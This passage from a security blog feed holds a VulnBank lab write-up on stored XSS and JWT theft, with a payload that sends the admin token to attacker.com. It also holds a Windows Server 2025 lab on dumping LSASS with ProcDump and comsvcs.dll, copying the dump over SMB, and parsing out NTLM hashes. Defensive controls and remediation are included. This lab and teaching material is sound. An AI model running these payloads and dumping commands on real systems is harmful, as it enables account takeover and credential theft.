<p>Save it. The payload is stored in the database and executes every time the profile is rendered…both for the owner and for any admin who views it.</p>

<p><img src="/assets/images/VULNBANK/stored-xss.png" alt="Stored XSS payload executing from bio field" /></p>

<h3 id="part-c--jwt-exposed-in-localstorage">Part C — JWT Exposed in localStorage</h3>

<p>Open browser developer tools, navigate to Application, Local Storage, <code class="language-plaintext highlighter-rouge">localhost:5000</code>. The <code class="language-plaintext highlighter-rouge">jwt_token</code> key is sitting there in plaintext, readable by any JavaScript on the page.</p>

<p><img src="/assets/images/VULNBANK/token-exposure.png" alt="JWT token exposed in localStorage" /></p>

<h3 id="part-d--full-chain-admin-account-takeover">Part D — Full Chain: Admin Account Takeover</h3>

<p>The attacker sets their bio to:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">x</span> <span class="na">onerror=</span><span class="s">"fetch('https://attacker.com/steal?token='+localStorage.getItem('jwt_token'))"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>When any administrator visits the attacker’s profile through the user management panel, the script fires silently. The admin JWT is sent to the attacker’s server. The attacker now has a permanent admin session and since tokens have no expiration (VB-003), it stays valid indefinitely.</p>

<p>No interaction required beyond an admin doing their normal job.</p>

<h3 id="vulnerable-code-2">Vulnerable Code</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Frontend — token stored where JS can reach it</span>
<span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="dl">'</span><span class="s1">jwt_token</span><span class="dl">'</span><span class="p">,</span> <span class="nx">token</span><span class="p">);</span>  <span class="c1">// Vulnerability: Token stored in localStorage</span>
 
<span class="c1">// Admin dashboard search — direct DOM injection</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">search-results</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">searchQuery</span><span class="p">;</span>  <span class="c1">// XSS vulnerability: Reflect user input directly</span>
</code></pre></div></div>

<h3 id="impact-3">Impact</h3>

<p>A single stored XSS payload silently compromises every administrator who views the attacker’s profile. Combined with VB-003 (no token expiration), the stolen credential is permanent. Combined with VB-002 (SQLi bypass), the attacker does not even need a registered account. They can bypass login, plant the payload, and wait.</p>

<h3 id="remediation-3">Remediation</h3>

<p>For XSS: replace all <code class="language-plaintext highlighter-rouge">innerHTML</code> assignments with <code class="language-plaintext highlighter-rouge">textContent</code> for user-controlled data. If HTML rendering is genuinely needed, sanitise through DOMPurify before insertion. Implement a Content Security Policy header to block inline scripts as a defence-in-depth measure.</p>

<p>For token storage: move the JWT into an <code class="language-plaintext highlighter-rouge">HttpOnly</code>, <code class="language-plaintext highlighter-rouge">Secure</code>, <code class="language-plaintext highlighter-rouge">SameSite=Strict</code> cookie. JavaScript cannot read <code class="language-plaintext highlighter-rouge">HttpOnly</code> cookies, which eliminates the entire theft vector regardless of XSS.</p>

<hr />

<h2 id="findings-summary-so-far_">Findings Summary so far(+_+)</h2>

<table>
  <thead>
    <tr>
      <th>ID</th>
      <th>Finding</th>
      <th>Severity</th>
      <th>CVSS</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>VB-001</td>
      <td>Unauthenticated API Documentation Exposure</td>
      <td>High</td>
      <td>7.5</td>
    </tr>
    <tr>
      <td>VB-002</td>
      <td>SQL Injection Authentication Bypass</td>
      <td>Critical</td>
      <td>9.8</td>
    </tr>
    <tr>
      <td>VB-003</td>
      <td>Weak JWT Implementation</td>
      <td>Critical</td>
      <td>9.1</td>
    </tr>
    <tr>
      <td>VB-004</td>
      <td>Stored XSS and JWT Token Theft</td>
      <td>High</td>
      <td>8.3</td>
    </tr>
  </tbody>
</table>

<p>Three findings. Two hours of testing. Full administrative access achieved through two independent paths before a single feature of the application was even tested.</p>

<hr />

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. Swagger docs in production is a critical misconfiguration</strong><br />
The Swagger UI reduced reconnaissance from hours to minutes. Every endpoint, every parameter, every response schema was documented and public. In a real engagement this would be the first finding in the report and would immediately accelerate everything that follows.</p>

<p><strong>2. SQL injection in login endpoints is still happening in 2026</strong><br />
String interpolation directly into SQL queries is a decades-old mistake that still shows up in real applications. One payload and the entire authentication layer collapsed. Parameterised queries are not optional rather, they are the baseline.</p>

<p><strong>3. JWT security is not just about using JWT</strong><br />
Using JWT for session management means nothing if the secret is <code class="language-plaintext highlighter-rouge">secret123</code>, the <code class="language-plaintext highlighter-rouge">none</code> algorithm is accepted, and tokens never expire. Each of these three flaws alone is critical. All three together mean any attacker can forge permanent admin tokens with zero effort. JWT implementation is as important as the choice to use JWT in the first place.</p>

<p><strong>4. Vulnerabilities chain instantly</strong><br />
VB-001 told us the admin endpoint exists. VB-002 got us there via SQL injection. VB-003 gave us a second path to the same place through JWT forgery. Real attacks chain findings; finding one vulnerability is just the start of the map.</p>

<p><strong>Next post:</strong> BOLA, BOPLA, and broken authorization across transaction history, virtual cards, and payment endpoints（^_^ ）.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExeXRqeGF4YTJ5ZnFvNm1qY2tnemlramttdzg3bTV1a3lpNW54bDVkbyZlcD12MV9naWZzX3NlYXJjaCZjdD1n/KIImenTBb3TmRFkJwT/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="VulnBank" /><category term="Web Security" /><category term="vulnbank" /><category term="sql-injection" /><category term="jwt" /><category term="api-security" /><category term="swagger" /><category term="authentication" /><category term="owasp" /><category term="cwe-89" /><category term="cwe-347" /><category term="cwe-200" /><category term="burpsuite" /><category term="mini-series" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Attacking &amp;amp; Defending LSASS — Credential Dumping on Windows Server 2025</title><link href="https://0x5h4q.github.io/hacksmarter/windows/blue%20team/attacking-lsass-writeup/" rel="alternate" type="text/html" title="Attacking &amp;amp; Defending LSASS — Credential Dumping on Windows Server 2025" /><published>2026-07-08T00:00:00+01:00</published><updated>2026-07-08T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hacksmarter/windows/blue%20team/attacking-lsass-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hacksmarter/windows/blue%20team/attacking-lsass-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<h1 id="attacking--defending-lsass">Attacking &amp; Defending LSASS</h1>

<p><strong>Lab:</strong> HackSmarter Guided Lab — Attacking LSASS<br />
<strong>Difficulty:</strong> Easy<br />
<strong>OS:</strong> Windows Server 2025<br />
<strong>Topics:</strong> LSASS Dumping, Credential Extraction, Defense Hardening</p>

<hr />

<h2 id="overview">Overview</h2>

<p>Most AD compromises follow the same pattern after initial foothold: land on a box, dump LSASS, extract hashes or plaintext passwords, move laterally. LSASS is the crown jewel of post-exploitation on Windows. This lab covers three different methods to dump it, two tools to parse it offline, and the three defensive controls that actually stop these attacks.</p>

<p>The reason LSASS is such a high-value target is simple: every user who logs into a Windows machine leaves credential material behind in LSASS memory. Pull that memory and you pull their secrets : NTLM hashes for pass-the-hash, Kerberos tickets for pass-the-ticket, and sometimes cleartext passwords if legacy authentication is enabled.</p>

<hr />

<h2 id="what-is-lsass">What is LSASS?</h2>

<p><strong>LSASS</strong> (Local Security Authority Subsystem Service) is the Windows process that enforces security policy and handles all user authentication. It is the gatekeeper for every logon session on the machine.</p>

<p>When a user authenticates i.e whether interactively, over the network, or via a service, the credentials are processed and cached in LSASS memory. This includes:</p>

<ul>
  <li><strong>NTLM hashes</strong> — used for pass-the-hash attacks and offline cracking</li>
  <li><strong>Kerberos tickets</strong> — used for pass-the-ticket and silver/golden ticket attacks</li>
  <li><strong>Cleartext passwords</strong> — only present if WDigest authentication is enabled (legacy, common in older environments)</li>
  <li><strong>DPAPI master keys</strong> — used to decrypt browser-saved credentials, certificates, and other secrets</li>
</ul>

<p>In an Active Directory environment, LSASS becomes even more valuable because service accounts, admin accounts, and domain accounts that have logged into the machine all leave traces. A single LSASS dump from a busy domain workstation can yield dozens of credential sets, each one potentially unlocking another machine in the network.</p>

<p>LSASS runs as a protected process but requires Administrator or SYSTEM privileges to access. This is why privilege escalation always comes before credential dumping in a real attack chain.</p>

<hr />

<h2 id="attack-methods">Attack Methods</h2>

<h3 id="method-1-task-manager-gui">Method 1: Task Manager (GUI)</h3>

<p>The simplest approach. Requires RDP or physical GUI access and local Administrator rights.</p>

<p>Open Task Manager as Administrator, click the Details tab, find <code class="language-plaintext highlighter-rouge">lsass.exe</code>, right-click and select “Create memory dump file.” The dump lands in <code class="language-plaintext highlighter-rouge">%LOCALAPPDATA%\Temp\</code>.</p>

<p><img src="/assets/images/LSASS/lsass.png" alt="lsass.exe" /></p>

<p>This method is low stealth — GUI artifacts are logged, the action is visible to anyone watching the screen, and modern EDR solutions flag Task Manager dumps of LSASS explicitly. Useful for lab environments, not for real engagements.</p>

<hr />

<h3 id="method-2-procdump-sysinternals">Method 2: ProcDump (Sysinternals)</h3>

<p>ProcDump is a Microsoft-signed Sysinternals tool, which is its main advantage as it is often whitelisted by antivirus because it is a legitimate Microsoft utility.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Download from Microsoft</span><span class="w">
</span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"https://download.sysinternals.com/files/Procdump.zip"</span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="s2">"procdump.zip"</span><span class="w">
</span><span class="n">Expand-Archive</span><span class="w"> </span><span class="nx">procdump.zip</span><span class="w">

</span><span class="c"># Dump LSASS</span><span class="w">
</span><span class="n">procdump.exe</span><span class="w"> </span><span class="nt">-accepteula</span><span class="w"> </span><span class="nt">-ma</span><span class="w"> </span><span class="nx">lsass.exe</span><span class="w"> </span><span class="nx">C:\Windows\Temp\lsass.dmp</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-accepteula</code></td>
      <td>Silently accept licence agreement (no interactive prompt)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-ma</code></td>
      <td>Full memory dump (includes all memory regions)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">lsass.exe</code></td>
      <td>Target process by name</td>
    </tr>
  </tbody>
</table>

<p>Medium stealth. The binary is legitimate and signed but it was downloaded from the internet, which is a detection signal in monitored environments. Modern EDR solutions now specifically flag ProcDump being used against LSASS even if they would otherwise allow it.</p>

<hr />

<h3 id="method-3-native-binaries-lolbins">Method 3: Native Binaries (LOLBins)</h3>

<p>The stealthiest method. Uses only Windows built-in binaries, nothing new is brought onto the machine, no external downloads, no signed-but-suspicious tools.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Get LSASS PID</span><span class="w">
</span><span class="n">tasklist</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">findstr</span><span class="w"> </span><span class="nx">lsass</span><span class="w">

</span><span class="c"># Dump using comsvcs.dll</span><span class="w">
</span><span class="n">rundll32.exe</span><span class="w"> </span><span class="nx">C:\Windows\System32\comsvcs.dll</span><span class="p">,</span><span class="w"> </span><span class="nx">MiniDump</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">PID</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">C:\Windows\Temp\lsass.dmp</span><span class="w"> </span><span class="nx">full</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">rundll32.exe</code></td>
      <td>Native DLL loader — built into Windows</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">comsvcs.dll</code></td>
      <td>Component Services DLL — already present on all Windows installs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MiniDump</code></td>
      <td>Exported function that creates process memory dumps</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">full</code></td>
      <td>Full memory dump type</td>
    </tr>
  </tbody>
</table>

<p>This works because <code class="language-plaintext highlighter-rouge">comsvcs.dll</code> exports a <code class="language-plaintext highlighter-rouge">MiniDump</code> function that calls into the same Windows API (<code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code>) that legitimate tools like Task Manager use. The difference is no new binary touches disk. The only requirement is <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>, which Administrators hold by default.</p>

<p>This is the technique seen most often in real-world red team engagements and threat actor toolkits precisely because it leaves the smallest signature footprint.</p>

<hr />

<h3 id="method-comparison">Method Comparison</h3>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Method</th>
      <th>Tool</th>
      <th>Stealth</th>
      <th>GUI Required</th>
      <th>Downloaded</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Task Manager</td>
      <td>Built-in</td>
      <td>Low</td>
      <td>Yes</td>
      <td>No</td>
    </tr>
    <tr>
      <td>2</td>
      <td>ProcDump</td>
      <td>Sysinternals</td>
      <td>Medium</td>
      <td>No</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Native Binaries</td>
      <td>rundll32 + comsvcs</td>
      <td>High</td>
      <td>No</td>
      <td>No</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="transferring-the-dump-to-kali">Transferring the Dump to Kali</h2>

<p>Once the dump file exists on the target, parse it offline on Kali rather than running extraction tools on the target where they will trigger AV and EDR.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Kali — start authenticated SMB server</span>
impacket-smbserver share <span class="nb">.</span> <span class="nt">-smb2support</span> <span class="nt">-user</span> kali <span class="nt">-pass</span> kali
</code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Windows — map the share and copy the dump</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">use</span><span class="w"> </span><span class="nx">\\10.200.69.206\share</span><span class="w"> </span><span class="nx">/user:kali</span><span class="w"> </span><span class="nx">kali</span><span class="w">
</span><span class="n">copy</span><span class="w"> </span><span class="nx">C:\Windows\Temp\lsass.dmp</span><span class="w"> </span><span class="nx">\\10.200.69.206\share\</span><span class="w">
</span></code></pre></div></div>

<p>Important note: Windows Server 2025 blocks unauthenticated SMB access by default. Guest/anonymous connections are dead. The <code class="language-plaintext highlighter-rouge">-user</code> and <code class="language-plaintext highlighter-rouge">-pass</code> flags on impacket-smbserver are required or the transfer will fail.</p>

<hr />

<h2 id="credential-extraction">Credential Extraction</h2>

<h3 id="pypykatz">Pypykatz</h3>

<p>Pypykatz is a Python implementation of Mimikatz designed for offline dump parsing. It runs on Kali without touching the target.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pypykatz lsa minidump lsass.dmp
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">lsa</code></td>
      <td>Target Local Security Authority secrets</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">minidump</code></td>
      <td>Parse from an offline .dmp file</td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/images/LSASS/hash.png" alt="Hash" /></p>

<p>Output includes NTLM hashes, Kerberos keys (AES256, AES128, DES), cleartext passwords if WDigest was enabled, and DPAPI master keys. On most modern Windows environments the NTLM hashes are the primary output.</p>

<hr />

<h3 id="kvcforensic-windows-server-2025">KvcForensic (Windows Server 2025+)</h3>

<p>Pypykatz and Mimikatz use hardcoded memory offsets and structure signatures that become outdated as Windows releases new builds. Windows Server 2025 introduced changes that break them.</p>

<p>KvcForensic uses a JSON template file for its signatures. When Microsoft changes memory structures, you update a JSON file instead of waiting for a new tool release.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install</span>
<span class="nb">cd</span> /opt
<span class="nb">sudo </span>wget https://github.com/wesmar/KvcForensic/releases/download/latest/KvcForensic_Linux.7z
<span class="nb">sudo </span>7z x KvcForensic_Linux.7z <span class="nt">-pgithub</span>.com
<span class="nb">sudo chmod</span> +x KvcForensic_static

<span class="c"># Create wrapper</span>
<span class="nb">sudo tee</span> /usr/local/bin/kvcforensic <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
#!/bin/bash
/opt/Kvc_Forensics/KvcForensic_static --templates /opt/Kvc_Forensics/KvcForensic.json "</span><span class="nv">$@</span><span class="sh">"
</span><span class="no">EOF
</span><span class="nb">sudo chmod</span> +x /usr/local/bin/kvcforensic
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kvcforensic <span class="nt">--analyze-dump</span> <span class="nt">-i</span> lsass.dmp <span class="nt">-o</span> result.txt <span class="nt">--format</span> both <span class="nt">--full</span> <span class="nt">--reveal-secrets</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--analyze-dump</code></td>
      <td>Analyse an offline dump file</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-i</code></td>
      <td>Input dump path</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-o</code></td>
      <td>Output results file</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--format both</code></td>
      <td>TXT and JSON output simultaneously</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--full</code></td>
      <td>Complete analysis of all credential types</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--reveal-secrets</code></td>
      <td>Decrypt and display passwords in cleartext</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="lab-results">Lab Results</h3>

<table>
  <thead>
    <tr>
      <th>Username</th>
      <th>NTLM Hash</th>
      <th>Cleartext</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Administrator</td>
      <td>d5cad8a9782b2879bf316f56936f1e36</td>
      <td>—</td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/images/LSASS/pass.png" alt="Password" /></p>

<table>
  <tbody>
    <tr>
      <td>tyler</td>
      <td>58a478135a93ac3bf058a5ea0e8fdb71</td>
      <td>Password123</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="defensive-controls">Defensive Controls</h2>

<h3 id="1-disable-autologon">1. Disable AutoLogon</h3>

<p>AutoLogon stores credentials in the registry so Windows can log in automatically without user interaction. The password sits in <code class="language-plaintext highlighter-rouge">HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword</code> in plaintext, and LSASS loads it into memory at boot. Disabling AutoLogon removes this credential source entirely.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Remove-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"</span><span class="w"> </span><span class="se">`
</span><span class="w">  </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"DefaultPassword"</span><span class="w"> </span><span class="nt">-Force</span><span class="w">

</span><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"</span><span class="w"> </span><span class="se">`
</span><span class="w">  </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"AutoAdminLogon"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>In Active Directory environments, AutoLogon on servers is a significant finding. It is sometimes configured on kiosk machines or build servers and forgotten, but the credential it stores becomes available to anyone who dumps LSASS or reads the registry with SYSTEM access.</p>

<hr />

<h3 id="2-enable-runasppl-lsa-protection">2. Enable RunAsPPL (LSA Protection)</h3>

<p>Protected Process Light makes LSASS a protected process. Only Microsoft-signed binaries with a specific token can open a handle to it. Task Manager, ProcDump, and the comsvcs.dll MiniDump trick all fail because they do not meet the signing requirements.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"</span><span class="w"> </span><span class="se">`
</span><span class="w">  </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"RunAsPPL"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nt">-Type</span><span class="w"> </span><span class="nx">DWord</span><span class="w">
</span><span class="c"># Reboot required</span><span class="w">
</span></code></pre></div></div>

<p>This is a significant uplift in protection. The vast majority of commodity credential dumping tools are stopped by PPL because they cannot obtain the necessary process handle. Advanced techniques exist to bypass PPL (kernel drivers, vulnerable signed drivers) but they require significantly more effort and leave more traces.</p>

<hr />

<h3 id="3-enable-credential-guard">3. Enable Credential Guard</h3>

<p>Credential Guard uses Virtualization-Based Security (VBS) to move NTLM hashes and Kerberos tickets into an isolated virtual container i.e a separate secure process called the Isolated LSA. The main operating system process cannot read the secrets held there.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"</span><span class="w"> </span><span class="se">`
</span><span class="w">  </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"LsaCfgFlags"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nx">2</span><span class="w"> </span><span class="nt">-Type</span><span class="w"> </span><span class="nx">DWord</span><span class="w">
</span><span class="c"># Reboot required</span><span class="w">
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Value</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>Disabled</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Enabled with UEFI lock (more persistent, harder to disable)</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Enabled without UEFI lock</td>
    </tr>
  </tbody>
</table>

<p>Critical distinction: Credential Guard does NOT prevent creating a dump file. All three attack methods will still produce a <code class="language-plaintext highlighter-rouge">.dmp</code> file on disk. What changes is that when you parse the dump, the credential fields contain garbage (~_~)…encrypted or zero values. The secrets never existed in the main LSASS process memory to begin with.</p>

<p>This is an important nuance for defenders. Detections should not just look for the act of dumping but also monitor for the conditions that make dumps useful (Credential Guard disabled, PPL disabled, WDigest enabled).</p>

<hr />

<h3 id="defense-effectiveness">Defense Effectiveness</h3>

<table>
  <thead>
    <tr>
      <th>Attack Method</th>
      <th>No Protection</th>
      <th>RunAsPPL</th>
      <th>Credential Guard</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Task Manager dump</td>
      <td>Works</td>
      <td>Blocked</td>
      <td>Dump created, garbage extracted</td>
    </tr>
    <tr>
      <td>ProcDump</td>
      <td>Works</td>
      <td>Blocked</td>
      <td>Dump created, garbage extracted</td>
    </tr>
    <tr>
      <td>Native binaries</td>
      <td>Works</td>
      <td>Blocked</td>
      <td>Dump created, garbage extracted</td>
    </tr>
    <tr>
      <td>Pypykatz parsing</td>
      <td>Works</td>
      <td>N/A</td>
      <td>Fails — no secrets to extract</td>
    </tr>
  </tbody>
</table>

<p>The layered picture: RunAsPPL stops the dump from being created. Credential Guard allows the dump but renders it useless. Deploying both together means attackers need kernel-level access to bypass PPL AND the isolated secrets are still protected by the hypervisor.</p>

<hr />

<h2 id="commands-quick-reference">Commands Quick Reference</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Dump LSASS — LOLBin method (highest stealth)</span>
rundll32.exe C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>omsvcs.dll, MiniDump &lt;PID&gt; lsass.dmp full

<span class="c"># Dump LSASS — ProcDump</span>
procdump.exe <span class="nt">-accepteula</span> <span class="nt">-ma</span> lsass.exe lsass.dmp

<span class="c"># Transfer — Kali SMB server</span>
impacket-smbserver share <span class="nb">.</span> <span class="nt">-smb2support</span> <span class="nt">-user</span> kali <span class="nt">-pass</span> kali

<span class="c"># Transfer — Windows client</span>
net use <span class="se">\\</span>&lt;KALI_IP&gt;<span class="se">\s</span>hare /user:kali kali
copy lsass.dmp <span class="se">\\</span>&lt;KALI_IP&gt;<span class="se">\s</span>hare<span class="se">\</span>

<span class="c"># Parse — Pypykatz</span>
pypykatz lsa minidump lsass.dmp

<span class="c"># Parse — KvcForensic (Server 2025)</span>
kvcforensic <span class="nt">--analyze-dump</span> <span class="nt">-i</span> lsass.dmp <span class="nt">-o</span> result.txt <span class="nt">--format</span> both <span class="nt">--full</span> <span class="nt">--reveal-secrets</span>

<span class="c"># Defend — RunAsPPL</span>
Set-ItemProperty <span class="nt">-Path</span> <span class="s2">"HKLM:</span><span class="se">\S</span><span class="s2">YSTEM</span><span class="se">\C</span><span class="s2">urrentControlSet</span><span class="se">\C</span><span class="s2">ontrol</span><span class="se">\L</span><span class="s2">sa"</span> <span class="nt">-Name</span> <span class="s2">"RunAsPPL"</span> <span class="nt">-Value</span> 1

<span class="c"># Defend — Credential Guard</span>
Set-ItemProperty <span class="nt">-Path</span> <span class="s2">"HKLM:</span><span class="se">\S</span><span class="s2">YSTEM</span><span class="se">\C</span><span class="s2">urrentControlSet</span><span class="se">\C</span><span class="s2">ontrol</span><span class="se">\L</span><span class="s2">sa"</span> <span class="nt">-Name</span> <span class="s2">"LsaCfgFlags"</span> <span class="nt">-Value</span> 2
</code></pre></div></div>

<hr />

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. LSASS is the primary post-exploitation target on Windows</strong><br />
Every interactive logon leaves credential material in LSASS. In Active Directory environments this compounds fast — domain admins, service accounts, and every user who has authenticated on that machine all leave traces. A single dump can unlock lateral movement across the entire domain.</p>

<p><strong>2. LOLBins are the stealthiest approach because nothing new touches disk</strong><br />
<code class="language-plaintext highlighter-rouge">rundll32.exe</code> and <code class="language-plaintext highlighter-rouge">comsvcs.dll</code> are already present on every Windows installation. No download, no external binary, no new file signature. The comsvcs MiniDump technique is specifically designed to be difficult to detect because it uses the exact same Windows API that legitimate memory dump tools use.</p>

<p><strong>3. Offline parsing is always safer than on-target execution</strong><br />
Running Mimikatz or Pypykatz on the target machine is loud —&gt; AV detects the binary, EDR monitors the API calls. Transferring the dump to Kali and parsing offline avoids all of that. The dump file itself is just memory not inherently malicious until you extract something from it.</p>

<p><strong>4. Windows Server 2025 breaks older parsing tools</strong><br />
Pypykatz failed against the Server 2025 dump. KvcForensic with its JSON template approach handled it. When tools fail, the answer is usually a newer or more adaptable tool not giving up:’(. Knowing the alternative tool exists is what matters.</p>

<p><strong>5. Modern Windows SMB requires authentication for transfers</strong><br />
Guest SMB access is disabled by default on Server 2025. impacket-smbserver needs <code class="language-plaintext highlighter-rouge">-user</code> and <code class="language-plaintext highlighter-rouge">-pass</code> or the file transfer silently fails.</p>

<p><strong>6. Defense in depth: RunAsPPL stops the dump, Credential Guard makes it worthless</strong><br />
RunAsPPL prevents most tools from opening a handle to LSASS at all. Credential Guard isolates the actual secrets in a hypervisor-protected container so even a successful dump returns garbage. Deploying both together closes almost all commodity LSASS credential dumping paths. The remaining bypass techniques require kernel-level primitives that are significantly harder to weaponize.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPWVjZjA1ZTQ3ZWIzaDdpMmJmeXJiOHNsdnB0NzAxN3N2NDRlYTFpaXZpY3lsd2hybSZlcD12MV9naWZzX3RyZW5kaW5nJmN0PWc/yWku98eNsMSZOEEWnC/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="HackSmarter" /><category term="Windows" /><category term="Blue Team" /><category term="lsass" /><category term="credential-dumping" /><category term="pypykatz" /><category term="kvcforensic" /><category term="procdump" /><category term="lolbins" /><category term="credential-guard" /><category term="runasppl" /><category term="windows-server-2025" /><category term="dfir" /><category term="offense-defense" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB TombWatcher — WriteSPN, gMSA Abuse, AD Recycle Bin &amp;amp; ESC15 to Domain Admin</title><link href="https://0x5h4q.github.io/hackthebox/active%20directory/htb-tombwatcher-writeup/" rel="alternate" type="text/html" title="HTB TombWatcher — WriteSPN, gMSA Abuse, AD Recycle Bin &amp;amp; ESC15 to Domain Admin" /><published>2026-07-07T00:00:00+01:00</published><updated>2026-07-07T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hackthebox/active%20directory/htb-tombwatcher-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hackthebox/active%20directory/htb-tombwatcher-writeup/"><![CDATA[<style>
